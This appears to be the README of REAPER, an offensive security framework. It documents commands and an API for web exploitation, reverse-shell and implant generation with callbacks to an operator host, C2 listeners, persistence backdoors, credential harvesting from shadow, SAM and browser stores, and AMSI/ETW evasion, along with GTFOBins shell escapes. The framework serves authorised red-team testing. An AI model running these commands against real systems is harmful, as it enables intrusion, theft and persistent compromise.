REAPER v2.1

Full-Spectrum Web Security and Post-Exploitation — T14. 11 phases. 5,439 tests.

v2.1.0 — ARMORY PRION Integration

Overview

REAPER is a full-spectrum offensive security framework built in pure Python. It covers the complete engagement lifecycle: technology fingerprinting, OWASP Top 10 web scanning, automated exploitation, payload generation, command and control, post-exploitation, privilege escalation, lateral movement, persistence, credential harvesting, and evasion.

Zero Metasploit. Zero Cobalt Strike. Zero Ruby. Every capability is Python code written by Red Specter. Every module is auditable. Every payload is documented. Every finding is structured JSON.

v2.1 introduces ARMORY PRION integration: the PRION mutation engine wires directly into the scan pipeline, replacing static payload lists with dynamically mutated, WAF-bypass variants generated on every engagement.

11 Phases Phase −1 through Phase 9. Discovery to evasion.

5,439 Tests Full test coverage across every phase and capability.

192+ Payloads Static library with PRION mutation for WAF bypass.

OWASP Top 10 Full coverage: SQLi, XSS, SSRF, XXE, SSTI, CMDi, Path Traversal, API.

Installation

PyPI

$ pip install red-specter-reaper

Docker

$ docker pull redspecter/reaper:latest
$ docker run --rm -it redspecter/reaper engage https://target.com
    

Debian / Kali

$ dpkg -i red-specter-reaper_2.1.0_amd64.deb

PKGBUILD (BlackArch / Arch)

$ makepkg -si

From Source

$ git clone <repo>
$ cd red-specter-reaper
$ pip install -e ".[dev]"
    

PRION GPU Acceleration (Optional)

# Requires CUDA toolkit and RTX GPU for local mutation
$ pip install red-specter-reaper[prion]
$ export PRION_LOCAL=true
    

Quick Start

# Standard engagement — discovery + scan
$ reaper engage https://target.com

# AI-assisted engagement
$ reaper engage https://target.com --ai-mode

# Full engagement with UNLEASHED phases
$ reaper engage https://target.com --unleashed --confirm-destroy

# PRION mutation enabled
$ PRION_LOCAL=true reaper engage https://target.com

# Run a single phase
$ reaper phase scan https://target.com
$ reaper phase harvest https://target.com

# INJECT gate — Phase 1 exploitation
$ REAPER_GATE=INJECT reaper phase exploit https://target.com

# Generate structured report
$ reaper report --input ./findings.json --format html

# Show status, sessions, PRION
$ reaper status
$ reaper status --prion
    

CLI Reference

Top-Level Commands

Command	Description
reaper engage <url>	Full engagement — all enabled phases against URL
reaper phase <name> <url>	Run a single named phase
reaper status	Show active sessions, listeners, PRION state
reaper report	Generate report from findings JSON
reaper keygen	Generate UNLEASHED Ed25519 key pair

Phase Names (for `reaper phase`)

Phase Name	Number	Gate
discovery	−1	OPEN
scan	0	OPEN
exploit	1	INJECT
payload	2	UNLEASHED
c2	3	UNLEASHED
implant	4	UNLEASHED
privesc	5	OPEN
lateral	6	UNLEASHED
persist	7	UNLEASHED
harvest	8	OPEN
evasion	9	UNLEASHED

Global Flags

Flag	Description
--ai-mode	Enable Ollama AI analysis (deepseek-r1:32b default)
--model <name>	Override Ollama model for AI mode
--ollama <url>	Override Ollama endpoint (default: http://localhost:11434)
--no-armory	Force static payload library, skip PRION mutation
--unleashed	Enable UNLEASHED-gated phases (requires key + ROE)
--confirm-destroy	Permit live execution of UNLEASHED operations
--session <id>	Attach to or name a session
--output <dir>	Output directory for findings and artefacts
--wraith-report <file>	Ingest WRAITH reconnaissance report as Phase −1 input
--verbose	Verbose logging
--quiet	Suppress non-essential output

Environment Variables

Variable	Description
REAPER_GATE=INJECT	Enable INJECT-gated phases (Phase 1 exploitation)
PRION_LOCAL=true	Enable GPU-accelerated PRION mutation
REAPER_KEY=<path>	Path to Ed25519 private key for UNLEASHED
REAPER_ROE=<path>	Path to Rules of Engagement file (must contain "authorised")

ARMORY PRION Integration

v2.1 wires the ARMORY PRION mutation engine directly into the REAPER payload pipeline. When PRION is available, every scan starts with a fresh mutation pass that generates WAF-bypass payload variants tailored to the target. The static 192-payload library becomes a fallback, not the primary source.

PRION Engine

2,328 base payloads — 110 categories — 27 mutation techniques

GPU-accelerated via PRION_LOCAL=true (RTX 3090 or equivalent)

Fallback: 192 static payloads when PRION offline or --no-armory set

27 Mutation Techniques

Token Splitting Break payload tokens across inline comments, whitespace, and concatenation

Unicode Normalisation Homoglyphs, fullwidth characters, combining marks, decomposed forms

Case Variation Mixed case, alternate capitalisation, random case injection

Comment Injection Inline SQL/HTML/script comments splitting payload tokens

Encoding Chains URL, double-URL, HTML entity, base64, hex, octal encoding combinations

+22 More Whitespace substitution, null byte injection, parameter pollution, and others

# PRION mode — GPU mutation enabled
$ PRION_LOCAL=true reaper engage https://target.com

# Check PRION status and payload counts
$ reaper status --prion

# Disable PRION — static payloads only
$ reaper engage https://target.com --no-armory
    

Phase −1: DISCOVERY OPEN

Technology fingerprinting, endpoint enumeration, and API surface discovery. DISCOVERY runs before any probe fires and builds the engagement surface map that every subsequent phase uses.

PHASE −1 DISCOVERY reaper phase discovery <url>

Technology fingerprinting — server, framework, CMS, language, and CDN detection via headers, HTML, and JS analysis
Endpoint enumeration — crawl, sitemap parsing, robots.txt, common path brute-force
API discovery — OpenAPI/Swagger spec detection, GraphQL introspection, REST pattern inference
Version detection — version strings from headers, meta tags, JS bundles, and error pages
Port surface mapping — active port scan for common web service ports
SSL/TLS analysis — certificate info, cipher suites, protocol version, HSTS, HPKP
Output — structured discovery.json consumed by Phase 0 SCAN

# Full discovery pass
$ reaper phase discovery https://target.com

# Discovery with crawl depth
$ reaper phase discovery https://target.com --depth 3

# Skip port scan
$ reaper phase discovery https://target.com --no-portscan

# Ingest WRAITH report instead of running fresh discovery
$ reaper phase discovery --wraith-report ./recon/wraith-report.json
    

Phase 0: SCAN OPEN

OWASP Top 10 automated scan using the 192-payload static library augmented by PRION mutation. Fires across all endpoints discovered in Phase −1. Every scan class fires across multiple bypass variants by default.

PHASE 0 SCAN reaper phase scan <url>

SQL Injection — union, error-based, boolean blind, time-based; auto-detected backend
Cross-Site Scripting — reflected, DOM, stored; context-aware (attribute / script / HTML); CSP bypass variants
Server-Side Request Forgery — internal network probing, cloud metadata (AWS/GCP/Azure), protocol smuggling
XXE — classic, blind, OOB; SSRF chaining; XML/SVG/DOCX/RSS attack surfaces
Server-Side Template Injection — Jinja2, Twig, Freemarker, Velocity, Smarty detection with RCE escalation
Command Injection — OS command injection, blind and time-based detection
Path Traversal — encoding bypass: double URL, null bytes, UNC paths, PRION filter bypass variants
API Security — GraphQL introspection and injection, REST IDOR, auth bypass, rate limit detection
PRION integration — each class fires PRION-mutated variants when PRION is online
Output — structured scan.json with severity, evidence, and exploit references

# Scan with PRION mutation
$ PRION_LOCAL=true reaper phase scan https://target.com

# Scan specific class only
$ reaper phase scan https://target.com --class sqli
$ reaper phase scan https://target.com --class xss,ssrf,ssti

# Scan with AI triage
$ reaper phase scan https://target.com --ai-mode
    

Phase 1: EXPLOIT INJECT

Automated exploitation of confirmed scan findings. Requires REAPER_GATE=INJECT. Every exploit is pure Python — no Metasploit modules, no borrowed code.

PHASE 1 EXPLOIT reaper phase exploit <url>

Scan-driven exploitation — ingests Phase 0 findings and selects appropriate exploits automatically
Version-matched targeting — semantic version comparison prevents false positive exploitation
check_target() — dry-run probe to confirm exploitability before firing
exploit_target() — execute a confirmed exploit against a specific finding
auto_exploit() — sequential exploitation of all confirmed findings by severity
Payload integration — auto-selects appropriate payload type for each exploit class
Session creation — successful exploits create named sessions for post-exploitation phases

# Exploit from scan findings
$ REAPER_GATE=INJECT reaper phase exploit https://target.com

# Dry-run check only
$ REAPER_GATE=INJECT reaper phase exploit https://target.com --check

# Exploit specific finding by ID
$ REAPER_GATE=INJECT reaper phase exploit https://target.com --finding SQLI-001
    

Phase 2: PAYLOAD UNLEASHED

Custom payload generation for confirmed access vectors. Requires UNLEASHED gate. Supports multiple payload types and output formats.

PHASE 2 PAYLOAD reaper phase payload <url>

PayloadType — reverse_shell, bind_shell, stager, beacon, download_exec, inject
PayloadFormat — python, elf, pe, dll, powershell, shellcode, raw
generate() — build a payload with specified type, format, and connection parameters
generate_implant() — full-featured implant with C2 callback, evasion, and persistence
Encoding — base64, XOR, AES-256 payload encryption
Platform targeting — Linux x64, Windows x64, cross-platform Python
Ed25519-signed manifest — every generated payload carries a signed delivery manifest

# Generate reverse shell (ELF)
$ reaper phase payload https://target.com --unleashed --confirm-destroy \
    --type reverse_shell --format elf --lhost 10.0.0.1 --lport 4444

# Generate implant with evasion
$ reaper phase payload https://target.com --unleashed --confirm-destroy \
    --implant --c2 https://c2.example.com --evasion
    

Phase 3: C2 UNLEASHED

Command and control listeners. Multi-protocol with AES-256-GCM encrypted sessions. Handles implant callbacks, task distribution, and result collection.

PHASE 3 C2 reaper phase c2

Protocols — HTTP, HTTPS, DNS, TCP raw, WebSocket
AES-256-GCM encryption on all C2 channels
Session management — unique session IDs, heartbeat tracking, auto-cleanup
Task queue — distribute commands to implants, collect results async
Multi-listener — run multiple protocols simultaneously
Jitter & sleep — configurable callback intervals with randomisation

# Start HTTPS listener
$ reaper phase c2 --unleashed --confirm-destroy \
    --listen --port 443 --protocol https

# Start DNS listener
$ reaper phase c2 --unleashed --confirm-destroy \
    --listen --port 53 --protocol dns --domain c2.example.com

# List active sessions
$ reaper status --sessions
    

Phase 4: IMPLANT UNLEASHED

Agent deployment to compromised targets. Full-featured and minimal variants. Persistent callback with jitter and beacon randomisation.

PHASE 4 IMPLANT reaper phase implant <url>

Full variant — all 10 capabilities, C2 integration, persistence, evasion, ~45KB
Minimal variant — command execution, file transfer, basic recon, ~8KB
10 capabilities — command execution, file upload/download, screenshot, keylogger, process list, network recon, registry access, privilege check, self-destruct, update
Deployment modes — drop, inject, fileless, staged download
Self-update — pull new capabilities from C2 without reinstall

# Deploy full implant
$ reaper phase implant https://target.com --unleashed --confirm-destroy \
    --variant full --session session-01

# Deploy minimal implant
$ reaper phase implant https://target.com --unleashed --confirm-destroy \
    --variant minimal
    

Phase 5: PRIVESC OPEN

Privilege escalation enumeration and exploitation. GTFOBins integration, Linux kernel checks, and Windows LOLBAS techniques. Enumeration is OPEN gate; exploitation requires an active UNLEASHED session.

PHASE 5 PRIVESC reaper phase privesc <url>

GTFOBins (20) — SUID/sudo binary exploits: vim, find, python, nmap, awk, less, more, tar, zip, git, docker, and others
Linux checks (15) — writable /etc/passwd, SUID binaries, cron jobs, sudo misconfigs, capability abuse, kernel exploits, NFS no_root_squash, writable PATH, Docker socket, wildcard injection
LOLBAS (10) — Windows binaries: certutil, mshta, regsvr32, rundll32, bitsadmin, and others
enumerate() — scan for all known escalation vectors
suggest() — rank vectors by success probability and stealth

# Enumerate escalation vectors (OPEN gate)
$ reaper phase privesc https://target.com

# Suggest best escalation path
$ reaper phase privesc https://target.com --suggest

# Auto-escalate (requires active UNLEASHED session)
$ reaper phase privesc https://target.com --unleashed --confirm-destroy \
    --auto --session session-01
    

Phase 6: LATERAL UNLEASHED

Lateral movement across adjacent hosts via SSH and SMB. Credential reuse, port forwarding, and SOCKS proxy for pivoting.

PHASE 6 LATERAL reaper phase lateral <url>

SSH movement — key-based and password auth, command execution, file transfer
SMB movement — share enumeration, file upload, remote execution via WMI/PsExec
Port forwarding — local and remote tunnels through compromised hosts
SOCKS proxy — dynamic port forwarding for full network access through pivot
Credential reuse — spray harvested credentials across discovered hosts
Network mapping — discover adjacent hosts and subnets from pivot position

# SSH lateral movement
$ reaper phase lateral https://target.com --unleashed --confirm-destroy \
    --method ssh --creds harvested.json

# SOCKS proxy through pivot
$ reaper phase lateral https://target.com --unleashed --confirm-destroy \
    --socks --port 1080 --session session-01
    

Phase 7: PERSIST UNLEASHED

Persistence installation across Linux and Windows with stealth ratings. Install, verify, and remove mechanisms. Every method rated for detection risk.

PHASE 7 PERSIST reaper phase persist <url>

10 Linux methods — crontab, systemd service, .bashrc/.profile, init.d, at job, SSH authorized_keys, LD_PRELOAD, udev rules, XDG autostart, PAM backdoor
8 Windows methods — Registry Run keys, Scheduled Tasks, Startup folder, WMI event subscription, DLL search order hijacking, COM object hijacking, Service creation, Bootkit
install() / verify() / remove() — full lifecycle management
Stealth ratings — LOW / MEDIUM / HIGH detection risk per method

Platform	Method	Stealth
Linux	crontab	MEDIUM
Linux	systemd service	MEDIUM
Linux	.bashrc/.profile	LOW
Linux	SSH authorized_keys	LOW
Linux	LD_PRELOAD	HIGH
Linux	PAM backdoor	HIGH
Windows	Registry Run keys	LOW
Windows	Scheduled Tasks	MEDIUM
Windows	WMI event subscription	HIGH
Windows	COM object hijacking	HIGH

Phase 8: HARVEST OPEN

Credential extraction and secrets harvesting. 35 Linux and 10 Windows credential paths. 25 regex-based secret patterns for configuration files.

PHASE 8 HARVEST reaper phase harvest <url>

35 Linux paths — /etc/shadow, .ssh/, .gnupg/, browser profiles, .bash_history, .env files, database configs, application credentials, keyrings, cloud CLI configs
10 Windows paths — SAM, SYSTEM, NTDS.dit, LSA secrets, credential vaults, browser stores, RDP saved creds, WiFi profiles, registry secrets, cached domain creds
25 secret patterns — API keys, tokens, passwords, private keys, connection strings, AWS/GCP/Azure secrets, JWT tokens, database URIs
Shadow extraction — /etc/shadow parse with hash type identification (MD5/SHA-256/SHA-512/bcrypt/yescrypt)
Browser credential extraction — Chrome, Firefox, Edge stored passwords and cookies
Output — structured JSON with credential type, source, and confidence

# Harvest all credentials
$ reaper phase harvest https://target.com

# Extract shadow file
$ reaper phase harvest https://target.com --shadow --session session-01

# Scan config files for secrets
$ reaper phase harvest https://target.com --secrets --path /opt/app/ --session session-01
    

Phase 9: EVASION UNLEASHED

Payload obfuscation and evasion pipeline. 14 techniques with chainable API. Polymorphic engine generates unique variants on every build. Anti-analysis capabilities detect sandboxes and debuggers.

PHASE 9 EVASION reaper phase evasion <url>

14 techniques — string obfuscation, control flow flattening, dead code injection, variable renaming, XOR encoding, AES encryption, base64 layering, process hollowing, DLL sideloading, timestomping, log clearing, AMSI bypass, ETW patching, syscall unhooking
Pipeline API — chain techniques: pipeline([obfuscate, encrypt, inject_dead_code])
Polymorphic engine — structurally unique payload variants with identical functionality
Anti-analysis — VM detection, sandbox detection, debugger detection, timing checks
PRION integration — PRION-mutated delivery chains for WAF and AV bypass

# Apply evasion pipeline to payload
$ reaper phase evasion https://target.com --unleashed --confirm-destroy \
    --input payload.bin --techniques obfuscate,encrypt,dead_code

# Polymorphic generation
$ reaper phase evasion https://target.com --unleashed --confirm-destroy \
    --input payload.bin --polymorphic --count 5
    

AI Mode

Optional GPU-accelerated analysis via Ollama. When --ai-mode is set, REAPER feeds scan findings into a local reasoning model for context-aware triage, payload selection, and multi-step attack chain planning. No data leaves the network.

Vulnerability Triage Context-aware finding analysis with exploit feasibility scoring

Payload Selection WAF-aware payload recommendation via PRION mutation scoring

Attack Chain Planning Multi-step exploitation path from initial access to objective

Default Model deepseek-r1:32b via local Ollama — replaceable with any compatible model

# AI mode with default model
$ reaper engage https://target.com --ai-mode

# Custom model
$ reaper engage https://target.com --ai-mode --model llama3.3:70b

# Custom Ollama endpoint
$ reaper engage https://target.com --ai-mode --ollama http://192.168.1.10:11434
    

UNLEASHED Protocol

Three-tier cryptographic gating for destructive operations. Dry-run is the default. Live execution requires Ed25519 key authentication, a signed Rules of Engagement file, and the --confirm-destroy flag.

Gate Tiers

Gate	Phases	Requirement
OPEN	−1, 0, 5, 8	No restriction. Discovery, scanning, privesc enumeration, harvesting.
INJECT	1	`REAPER_GATE=INJECT` environment variable.
UNLEASHED	2, 3, 4, 6, 7, 9	Ed25519 key + ROE file containing “authorised” + `--unleashed --confirm-destroy`

Standard vs UNLEASHED

Capability	Standard / OPEN	UNLEASHED
Scanning	Full — no restriction	Full — no restriction
Exploitation	Check only (INJECT: live)	Live exploit execution
Payload delivery	Simulated	Real payload deployment
C2 channels	Disabled	Active C2 with encryption
Persistence	Report only	Live installation
Credential harvest	Path enumeration	Full extraction
Lateral movement	Discovery only	Active pivoting
Evasion	Analysis only	Live evasion pipeline

Key Setup

# Generate UNLEASHED key pair
$ reaper keygen --algo ed25519 --output ~/.reaper/keys/

# Set key and ROE file
$ export REAPER_KEY=~/.reaper/keys/reaper_ed25519
$ export REAPER_ROE=~/engagements/target_roe.txt
# ROE file must contain the word "authorised"

# Full engagement with UNLEASHED phases
$ reaper engage https://target.com --unleashed --confirm-destroy
    

UNLEASHED is restricted to authorised operators with Ed25519 key access. Live execution against any target must only occur in authorised test environments with explicit written permission from the system owner. Unauthorised use of UNLEASHED constitutes illegal access under applicable law.

WRAITH Integration

REAPER ingests WRAITH reconnaissance reports via --wraith-report. WRAITH discovers. REAPER exploits. The handoff is seamless — WRAITH findings feed directly into Phase −1 DISCOVERY, eliminating duplicate scanning.

01 WRAITH Discovers

→

02 REAPER −1 Ingests

→

03 REAPER 0 Scans

→

04 REAPER 1+ Exploits

# Run WRAITH scan
$ wraith scan https://target.com --output ./recon

# Feed WRAITH report into REAPER
$ reaper engage https://target.com --wraith-report ./recon/wraith-report.json
    

Port & Service Mapping WRAITH port data drives REAPER exploit selection

CVE Chain WRAITH CVE matches feed directly into REAPER exploitation

Credential Reuse WRAITH default creds enable REAPER lateral movement

Skip Duplicate Scan WRAITH report replaces Phase −1 discovery entirely

API Reference

Key classes and methods for programmatic use. Import from red_specter_reaper.

# Core imports
from red_specter_reaper.discovery import DiscoveryEngine
from red_specter_reaper.scan import ScanEngine, ScanClass
from red_specter_reaper.exploit import ExploitEngine
from red_specter_reaper.payload import PayloadGenerator, PayloadType, PayloadFormat
from red_specter_reaper.c2 import C2Server, Listener, Session
from red_specter_reaper.implant import Implant, ImplantVariant
from red_specter_reaper.privesc import PrivEscEngine
from red_specter_reaper.lateral import LateralEngine
from red_specter_reaper.persist import PersistenceEngine, PersistMethod
from red_specter_reaper.harvest import HarvestEngine
from red_specter_reaper.evasion import EvasionEngine, EvasionPipeline
from red_specter_reaper.prion import PrionClient
    

ScanEngine

scanner = ScanEngine(target="https://target.com", prion=PrionClient())

# Scan all classes
findings = scanner.scan_all()

# Scan specific class
findings = scanner.scan(ScanClass.SQLI)
findings = scanner.scan(ScanClass.XSS)

# AI-assisted triage
triaged = scanner.triage_with_ai(findings, model="deepseek-r1:32b")
    

PrionClient

prion = PrionClient(local=True)  # GPU mode

# Mutate a payload for WAF bypass
variants = prion.mutate(
    payload="' OR 1=1--",
    category="sqli",
    count=20
)

# Check PRION status
status = prion.status()
print(status.payload_count, status.categories)
    

ExploitEngine

engine = ExploitEngine(target="https://target.com")

# Check exploitability from scan findings
results = engine.check_from_scan(findings)

# Auto-exploit all confirmed findings
sessions = engine.auto_exploit(findings)
    

EvasionPipeline

pipeline = EvasionPipeline()

result = pipeline.run(
    input_payload=payload_bytes,
    techniques=["obfuscate", "encrypt", "dead_code"]
)

variants = pipeline.polymorphic(input_payload=payload_bytes, count=5)
    

Signature Database

REAPER ships with offline databases for scanning, privilege escalation, and credential harvesting. No API calls. No external lookups at scan time.

Payload Library (192 static)

SQL Injection Union, error-based, boolean, time-based across MySQL/MSSQL/PostgreSQL/Oracle/SQLite

XSS Reflected, DOM, stored — context-aware across attribute, script, and HTML sinks

SSRF Internal network, metadata endpoints, protocol smuggling via URL parser confusion

Command Injection / Path Traversal / XXE / SSTI Full coverage per OWASP Top 10

GTFOBins (20 binaries)

Binary	Vector	Method
vim	SUID / sudo	Shell escape via :!sh
find	SUID / sudo	-exec /bin/sh
python	SUID / sudo	os.system() shell spawn
nmap	SUID / sudo	--interactive or --script
awk	SUID / sudo	system() call
less	SUID / sudo	!sh from pager
tar	SUID / sudo / wildcard	--checkpoint-action
zip	SUID / sudo	-T -TT shell command
git	SUID / sudo	Pager shell escape
docker	Group membership	Mount host filesystem

Secret Patterns (25 regex)

API Keys AWS, GCP, Azure, Stripe, SendGrid, Twilio, GitHub, Slack

Tokens JWT, OAuth Bearer, session tokens, refresh tokens

Credentials Password fields, connection strings, database URIs

Private Keys RSA, EC, Ed25519, PGP, SSH key blocks

Disclaimer

REAPER is for authorised security testing, red team operations, and educational purposes only. You must have explicit written permission from the system owner before running any REAPER phase against a target. Post-exploitation operations carry significant risks including service disruption, data exposure, and persistent access to compromised systems. REAPER must only be used against systems you are authorised to test. Unauthorised use may violate the Computer Misuse Act 1990 (UK), the Computer Fraud and Abuse Act (US), or equivalent legislation in your jurisdiction. Red Specter Security Research Ltd accepts no liability for misuse.